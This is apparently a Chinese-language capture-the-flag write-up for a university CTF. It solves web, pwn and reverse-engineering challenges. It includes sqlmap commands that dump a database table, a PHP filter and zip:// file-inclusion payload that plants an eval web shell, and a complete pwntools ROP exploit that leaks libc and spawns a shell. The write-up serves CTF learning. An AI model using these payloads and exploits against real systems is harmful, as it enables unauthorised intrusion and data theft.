Web10
查看
得到提示 应该是注入
测试发现这里存在sql语句查询
所以用sqlmap这个工具跑一下就可以了
sqlmap.py -u “http://ctf.xjnu.edu.cn:9900/web10/index.php?id=1"
确实存在注入
sqlmap.py -u “http://ctf.xjnu.edu.cn:9900/web10/index.php?id=1" –tables
得到flag表 那我们dump出来看一下
sqlmap.py -u “http://ctf.xjnu.edu.cn:9900/web10/index.php?id=1" –dump -T flag
Web20
弹出提示 你不属于这里
猜测需要伪造访问ip
配置好burp代理
抓包伪造ip
提示未登录 修改0为1
她会提示你用的不是iphone 999
利用谷歌浏览器模拟iphone客户端
抓包
得到iPhonex的地址
修改os版本
得到flag
Web40
提示 flag就在index.php中 但是没办法查看 猜测为git泄露
使用工具githack
得到flag
Web100
发现url处存在文件包含
尝试读取upload.php源码
http://ctf.xjnu.edu.cn:666/index.php?file=php://filter/read=convert.base64-encode/resource=upload.php
Base64解密即可得到源码
发现upload目录可任意读取下载,
打开得到源码
过滤了%00
这里用到了王松师傅的思路
https://www.hackersb.cn/hacker/105.html
测试创建一个php文件
接着压缩修改后缀名为 ss.png
Exp
http://ctf.xjnu.edu.cn:666/index.php?file=zip://upload/ss.png%23he.html.php
成功执行命令
写入一句话
<?php @eval($_POST['a']); ?>
成功拿到shell
成功拿到flag
babypwn
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+0h] [rbp-70h]
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4, 0LL); //漏洞存在点
puts("send success!");
return 0;
}
程序很简单 没有多余的流程 漏洞也很明显
检查保护
ubuntu@ubuntu:~$ checksec babypwn
[*] '/home/ubuntu/babypwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
ubuntu@ubuntu:~$
NX开启
思路:
通过溢出leak puts 从而得到libc版本 进而得到system地址及bin/sh地址
偏移计算 offset = 0x70+8
构造leak
寻找gadget
ubuntu@ubuntu:~$ ROPgadget --binary babypwn --only "pop|ret"
Gadgets information
============================================================
0x000000000040071c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040071e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400720 : pop r14 ; pop r15 ; ret
0x0000000000400722 : pop r15 ; ret
0x000000000040071b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040071f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400595 : pop rbp ; ret
0x0000000000400723 : pop rdi ; ret // 这里是我们需要的
0x0000000000400721 : pop rsi ; pop r15 ; ret
0x000000000040071d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004e1 : ret
0x00000000004005c5 : ret 0xc148
Unique gadgets found: 12
from pwn import *
p = process('./babypwn')
elf = ELF('babypwn')
puts_plt = elf.symbols['puts']
print 'puts_plt:'+hex(puts_plt)
puts_got = elf.got['puts']
print 'puts_got:'+hex(puts_got)
start_addr = 0x400550
pop_rdi=0x400723 #pop rdi ; ret
p.recvuntil("What do you plan to do?\n")
payload = 'A'*120+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(start_addr)
payload = 溢出偏移+pop_rdi_ret(因为64位下以寄存器传参)+给puts()赋值+循环地址(也可以是leak该puts的函数地址)
p.sendline(payload)
log.info(p.recvuntil("send success!\n"))
data = p.recvuntil('\n',drop=True)
puts = u64(data.ljust(8,'\x00'))
print hex(puts)
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
通过https://libc.blukat.me 进行查询
找到libc版本 接着获取system地址及binsh地址
system = puts -libc.symbols['puts']+libc.symbols['system']
print hex(system)
binsh = next(libc.search('/bin/sh'))
binsh = puts - libc.symbols['puts'] + binsh
payload = 'A'*120+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendline(payload)
p.interactive()
成功getshell
RE50
使用IDA打开
定位到main函数
看到一些常量
拼接 即可获得flag